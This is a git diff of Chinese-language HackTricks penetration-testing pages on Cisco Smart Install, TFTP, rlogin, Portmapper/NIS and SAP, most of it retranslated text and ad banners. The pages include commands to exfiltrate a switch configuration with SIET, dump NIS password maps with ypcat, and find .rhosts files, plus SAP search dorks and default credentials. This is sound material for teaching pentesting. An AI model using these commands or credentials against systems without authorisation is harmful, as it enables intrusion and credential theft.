* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Cisco Smart Install**是思科设计的用于自动化新思科硬件的初始配置和操作系统镜像加载的工具。**默认情况下,Cisco Smart Install在思科硬件上处于活动状态,并使用传输层协议TCP,端口号为4786。**
|
||||
|
@ -35,24 +40,29 @@ PORT STATE SERVICE
|
|||
|
||||
**目标设备将是“实时”Cisco Catalyst 2960交换机。虚拟镜像没有Cisco Smart Install,因此您只能在真实硬件上进行练习。**
|
||||
|
||||
目标交换机的地址为**10.10.100.10且CSI处于活动状态。**加载SIET并开始攻击。**-g参数**表示从设备中外泄配置,**-i参数**允许您设置易受攻击目标的IP地址。
|
||||
目标交换机的地址为**10.10.100.10,CSI处于活动状态。**加载SIET并开始攻击。**-g参数**表示从设备中外泄配置,**-i参数**允许您设置易受攻击目标的IP地址。
|
||||
```
|
||||
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (302).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (770).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
交换机配置 **10.10.100.10** 将位于 **tftp/** 文件夹中
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (73).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在 **网络安全公司** 工作吗? 想要在 **HackTricks 中宣传您的公司**? 或者想要访问 **PEASS 的最新版本或下载 HackTricks 的PDF**? 请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索 [**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向 [hacktricks repo](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud) 提交PR来分享您的黑客技巧**。
|
||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中宣传您的公司**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或 **电报群**](https://t.me/peass) 或 **关注**我在**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
@ -12,14 +12,18 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
**Trivial File Transfer Protocol (TFTP)** 是一种简单的协议,用于**UDP端口69**,允许在无需身份验证的情况下进行文件传输。在**RFC 1350**中进行了重点介绍,由于其简单性,缺乏关键安全功能,因此在公共互联网上的使用受到限制。然而,在大型内部网络中,**TFTP**被广泛用于向设备(如**VoIP电话机**)分发**配置文件**和**ROM映像**,在这些特定场景中,由于其高效性而得到广泛应用。
|
||||
**Trivial File Transfer Protocol (TFTP)** 是一种简单的协议,用于**UDP端口69**,允许在无需身份验证的情况下进行文件传输。在**RFC 1350**中进行了重点介绍,其简单性意味着它缺乏关键的安全功能,导致在公共互联网上的使用受到限制。然而,在大型内部网络中,**TFTP**被广泛用于向**VoIP电话机**等设备分发**配置文件**和**ROM映像**,因为在这些特定场景中它的效率很高。
|
||||
|
||||
**TODO**:提供有关什么是Bittorrent-tracker的信息(Shodan将此端口标识为该名称)。如果您有更多信息,请告诉我们,例如在[**HackTricks电报群**](https://t.me/peass)(或在[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)的github问题中)。
|
||||
**TODO**: 提供有关什么是Bittorrent-tracker的信息(Shodan将此端口标识为该名称)。如果您有更多信息,请告诉我们,例如在[**HackTricks电报群**](https://t.me/peass)(或在[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)的github问题中)。
|
||||
|
||||
**默认端口:** 69/UDP
|
||||
**默认端口:** 69/UDP
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
69/udp open tftp script-set
|
||||
|
@ -48,16 +52,21 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
* `端口:69`
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,17 +6,22 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 基本信息
|
||||
|
||||
过去,**rlogin** 被广泛用于远程管理任务。然而,由于安全性方面的担忧,它在很大程度上被 **slogin** 和 **ssh** 取代。这些更新的方法为远程连接提供了增强的安全性。
|
||||
过去,**rlogin** 被广泛用于远程管理任务。然而,由于对其安全性的担忧,它在很大程度上已被 **slogin** 和 **ssh** 取代。这些更新的方法为远程连接提供了增强的安全性。
|
||||
|
||||
**默认端口:** 513
|
||||
```
|
||||
|
@ -38,16 +43,21 @@ rlogin <IP> -l <username>
|
|||
```
|
||||
find / -name .rhosts
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,29 @@
|
|||
# 111/TCP/UDP - 渗透测试 Portmapper
|
||||
# 111/TCP/UDP - 渗透测试端口映射器
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Portmapper** 是一个用于将网络服务端口映射到 **RPC**(远程过程调用)程序编号的服务。它是 **Unix 系统** 中的一个关键组件,促进这些系统之间的信息交换。**Portmapper** 关联的 **端口** 经常被攻击者扫描,因为它可以揭示有价值的信息。这些信息包括正在运行的 **Unix 操作系统(OS)** 的类型以及系统上可用服务的详细信息。此外,**Portmapper** 经常与 **NFS(网络文件系统)**、**NIS(网络信息服务)** 和其他 **基于 RPC 的服务** 结合使用,以有效管理网络服务。
|
||||
**端口映射器**是一种用于将网络服务端口映射到**RPC**(远程过程调用)程序编号的服务。它是**基于Unix系统**中的一个关键组件,促进这些系统之间的信息交换。与**端口映射器**相关联的**端口**经常受到攻击者的扫描,因为它可以揭示有价值的信息。这些信息包括正在运行的**Unix操作系统(OS)**的类型以及系统上可用服务的详细信息。此外,**端口映射器**通常与**NFS(网络文件系统)**、**NIS(网络信息服务)**和其他**基于RPC的服务**一起使用,以有效管理网络服务。
|
||||
|
||||
**默认端口:** 111/TCP/UDP,Oracle Solaris 中为 32771
|
||||
**默认端口:** 111/TCP/UDP,Oracle Solaris中为32771
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
111/tcp open rpcbind
|
||||
|
@ -34,17 +39,17 @@ nmap -sSUC -p111 192.168.10.1
|
|||
|
||||
## RPCBind + NFS
|
||||
|
||||
如果发现了NFS服务,那么很可能你将能够列出、下载(也许还能上传)文件:
|
||||
如果发现了NFS服务,那么很可能您将能够列出、下载(也许还可以上传)文件:
|
||||
|
||||
![](<../.gitbook/assets/image (232).png>)
|
||||
![](<../.gitbook/assets/image (869).png>)
|
||||
|
||||
阅读[2049 - NFS服务渗透测试](nfs-service-pentesting.md)以了解如何测试这个协议。
|
||||
阅读[2049 - NFS服务渗透测试](nfs-service-pentesting.md)以了解如何测试此协议。
|
||||
|
||||
## NIS
|
||||
|
||||
探索**NIS**漏洞涉及一个两步过程,首先是识别服务`ypbind`。这个探索的基石是揭示**NIS域名**,没有它,进展将受阻。
|
||||
探索**NIS**漏洞涉及一个两步过程,首先是识别服务`ypbind`。这一探索的基石是揭示**NIS域名**,没有它,进展将停滞不前。
|
||||
|
||||
![](<../.gitbook/assets/image (233).png>)
|
||||
![](<../.gitbook/assets/image (856).png>)
|
||||
|
||||
探索之旅始于安装必要的软件包(`apt-get install nis`)。随后的步骤需要使用`ypwhich`通过域名和服务器IP对NIS服务器进行ping测试,确保这些元素经过匿名化以确保安全。
|
||||
|
||||
|
@ -70,13 +75,13 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
|||
|
||||
如果发现列出了 **rusersd** 服务,如下所示:
|
||||
|
||||
![](<../.gitbook/assets/image (231).png>)
|
||||
![](<../.gitbook/assets/image (1038).png>)
|
||||
|
||||
您可以枚举该主机的用户。要了解如何操作,请阅读 [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md)。
|
||||
|
||||
## 绕过被过滤的 Portmapper 端口
|
||||
|
||||
在进行 **nmap 扫描** 时,发现开放的 NFS 端口中的端口 111 被过滤,直接利用这些端口是不可行的。然而,通过**在本地模拟一个 portmapper 服务,并从您的计算机创建到目标的隧道**,使用标准工具就可以进行利用。这种技术允许绕过端口 111 的过滤状态,从而实现对 NFS 服务的访问。有关此方法的详细指导,请参考 [此链接](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) 上提供的文章。
|
||||
在进行 **nmap 扫描** 时,发现开放的 NFS 端口中的端口 111 被过滤,直接利用这些端口是不可行的。然而,通过**在本地模拟一个 portmapper 服务,并在您的机器和目标之间创建隧道**,使用标准工具就可以进行利用。这种技术允许绕过端口 111 的过滤状态,从而访问 NFS 服务。有关此方法的详细指导,请参考 [此链接](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) 上提供的文章。
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -86,6 +91,10 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
|||
|
||||
* 在 [**Irked HTB 机器**](https://app.hackthebox.com/machines/Irked) 中练习这些技术。
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## HackTricks 自动命令
|
||||
```
|
||||
Protocol_Name: Portmapper #Protocol Abbreviation if there is one.
|
||||
|
@ -119,7 +128,7 @@ Command: nmap -sSUC -p 111 {IP}
|
|||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,6 +12,10 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# SAP简介
|
||||
|
||||
|
@ -32,8 +36,8 @@ SAP系统由多个完全集成的模块组成,几乎涵盖了业务管理的
|
|||
|
||||
> 下一节主要来自[https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)用户shipcod3的内容!
|
||||
|
||||
* 检查应用范围或程序简介以进行测试。注意连接到SAP GUI的主机名或系统实例。
|
||||
* 如果应用程序面向互联网或公共,使用OSINT(开源情报)、Shodan和Google Dorks检查文件、子域和有趣信息:
|
||||
* 检查应用范围或程序简介以进行测试。注意主机名或系统实例,以连接到SAP GUI。
|
||||
* 如果应用程序面向互联网或公共,使用OSINT(开源情报)、Shodan和Google Dorks检查文件、子域和有趣的信息:
|
||||
```text
|
||||
inurl:50000/irj/portal
|
||||
inurl:IciEventService/IciEventConf
|
||||
|
@ -43,7 +47,7 @@ https://www.shodan.io/search?query=sap+portal
|
|||
https://www.shodan.io/search?query=SAP+Netweaver
|
||||
https://www.shodan.io/search?query=SAP+J2EE+Engine
|
||||
```
|
||||
* 这是 [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) 的样子
|
||||
* 这是 [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) 的页面
|
||||
|
||||
![SAP 登录界面](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
||||
|
||||
|
@ -51,7 +55,7 @@ https://www.shodan.io/search?query=SAP+J2EE+Engine
|
|||
* 如果有 web 服务器运行,请爬取 URL。
|
||||
* 如果某些端口上有 web 服务器,请对目录进行模糊测试(可以使用 Burp Intruder)。以下是 SecLists 项目提供的一些良好字典,用于查找默认 SAP ICM 路径和其他有趣的目录或文件:
|
||||
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
|
||||
|
||||
|
@ -129,20 +133,20 @@ DEVELOPER:Down1oad:001
|
|||
BWDEVELOPER:Down1oad:001
|
||||
```
|
||||
* 运行Wireshark,然后使用获取的凭据对客户端(SAP GUI)进行身份验证,因为一些客户端在没有SSL的情况下传输凭据。已知有两个Wireshark插件可以解析SAP DIAG协议使用的主要标头:SecureAuth Labs SAP dissection插件和Positive Research Center的SAP DIAG插件。
|
||||
* 检查特权升级,例如使用一些SAP事务代码(tcodes)来操作低特权用户:
|
||||
* 检查特权升级,例如低权限用户使用某些SAP事务代码(tcodes):
|
||||
* SU01 - 创建和维护用户
|
||||
* SU01D - 显示用户
|
||||
* SU10 - 批量维护
|
||||
* SU10 - 用于大规模维护
|
||||
* SU02 - 手动创建配置文件
|
||||
* SM19 - 安全审计 - 配置
|
||||
* SE84 - SAP R/3授权信息系统
|
||||
* 检查是否可以在客户端执行系统命令/运行脚本。
|
||||
* 检查是否可以在BAPI Explorer上执行XSS。
|
||||
* 检查是否可以在BAPI Explorer上执行XSS
|
||||
|
||||
# 测试Web界面
|
||||
|
||||
* 爬取URLs(参见发现阶段)。
|
||||
* 像在发现阶段那样对URLs进行模糊测试。这是[http://SAP:50000/index.html](http://sap:50000/index.html)的样子:
|
||||
* 爬取URL(参见发现阶段)。
|
||||
* 像在发现阶段那样对URL进行模糊测试。这是[http://SAP:50000/index.html](http://sap:50000/index.html)的外观:
|
||||
|
||||
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
||||
|
||||
|
@ -154,7 +158,7 @@ BWDEVELOPER:Down1oad:001
|
|||
|
||||
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
||||
|
||||
* 尝试`/irj/go/km/navigation/`以查看可能的目录列表或身份验证绕过。
|
||||
* 尝试`/irj/go/km/navigation/`以查看可能的目录列表或身份验证绕过
|
||||
* [http://SAP/sap/public/info](http://sap/sap/public/info)包含一些有趣的信息:
|
||||
```xml
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
|
@ -296,8 +300,27 @@ bizploit> start
|
|||
* [SAP NetWeaver ABAP 安全配置第三部分:访问应用程序的默认密码](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||||
* [与 SAP 安全相关的 ABAP 事务代码列表](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
||||
* [攻破 SAP 门户](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
||||
* [前 10 个最有趣的 SAP 漏洞和攻击](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||
* [前十大最有趣的 SAP 漏洞和攻击](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||
* [使用 bizploit 评估 SAP 生态系统的安全性:发现](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||||
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
||||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF,请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,25 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
